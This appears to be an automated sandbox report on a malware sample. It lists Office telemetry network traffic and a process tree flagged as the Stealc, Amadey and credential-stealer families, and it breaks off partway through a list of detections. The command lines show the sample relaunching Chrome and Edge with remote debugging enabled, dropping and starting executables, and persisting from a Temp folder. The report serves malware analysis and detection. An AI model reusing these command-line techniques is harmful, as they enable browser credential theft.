Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:32 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:32 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:32 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070932Z-185f5d8b95cp7lkfhC1NYC7rpw00000009xg00000000k4uv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:09:32 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49934	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:32 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:32 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:32 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070932Z-185f5d8b95cdh56ghC1NYCk1x400000003pg00000000eq6p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:32 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49933	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:32 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:32 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:32 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070932Z-1777c6cb754vxwc9hC1TEBykgw0000000980000000008pz2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:32 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49935	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:32 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:33 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:33 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e045c2d1-201e-003c-718c-3a30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070933Z-185f5d8b95cp7lkfhC1NYC7rpw00000009yg00000000fh53 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:33 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49936	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:33 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:33 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:33 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070933Z-185f5d8b95crl6swhC1NYC3ueg0000000a3g000000002k2c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:33 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49937	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:33 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:33 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:33 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 96190df9-401e-0016-6a8c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070933Z-185f5d8b95cmd8vfhC1NYC0g4000000005sg00000000a1e0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:33 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Target ID:	0
Start time:	02:08:57
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x280000
File size:	1'800'704 bytes
MD5 hash:	FBCBFC1412235CA533582801D3BF384A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2413344379.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2413344379.000000000034C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2414963781.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2048304641.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:09:03
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:09:03
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2180,i,1193533664594745420,11843900780482775577,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:09:12
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:09:13
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2224,i,493605343487606503,8968169282104063803,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:09:13
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:09:13
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:09:18
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6416 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	02:09:18
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6448 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	02:09:32
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCFCAAEBGC.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	02:09:32
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	02:09:32
Start date:	20/11/2024
Path:	C:\Users\user\DocumentsHCFCAAEBGC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsHCFCAAEBGC.exe"
Imagebase:	0xce0000
File size:	1'870'336 bytes
MD5 hash:	4A97D2E0F102525CD3CA67C4AD404846
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000003.2408785578.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000013.00000002.2450727529.0000000000CE1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:09:35
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa10000
File size:	1'870'336 bytes
MD5 hash:	4A97D2E0F102525CD3CA67C4AD404846
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.2492523821.0000000000A11000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000003.2451968949.0000000005070000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	02:09:35
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xa10000
File size:	1'870'336 bytes
MD5 hash:	4A97D2E0F102525CD3CA67C4AD404846
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.2452853809.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2494111501.0000000000A11000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:10:00
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xa10000
File size:	1'870'336 bytes
MD5 hash:	4A97D2E0F102525CD3CA67C4AD404846
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.2683186845.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	02:10:11
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe"
Imagebase:	0x1b0000
File size:	4'392'448 bytes
MD5 hash:	86DCE43872FFD26D6225323BF7F0C76F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	02:10:13
Start date:	20/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6420 --field-trial-handle=1928,i,11354114347727692007,15342646910446343139,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	02:10:17
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe"
Imagebase:	0x20000
File size:	1'855'488 bytes
MD5 hash:	828B27824DCB03A47D868B1193B68944
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2947632959.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2900904308.0000000000C32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2926968578.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2928573051.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2926920786.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2942468191.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2884972394.0000000000C32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2901286185.0000000000C32000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2947470579.0000000000C48000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2901392194.0000000000C36000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2884338454.0000000000C30000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001A.00000003.2886167629.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 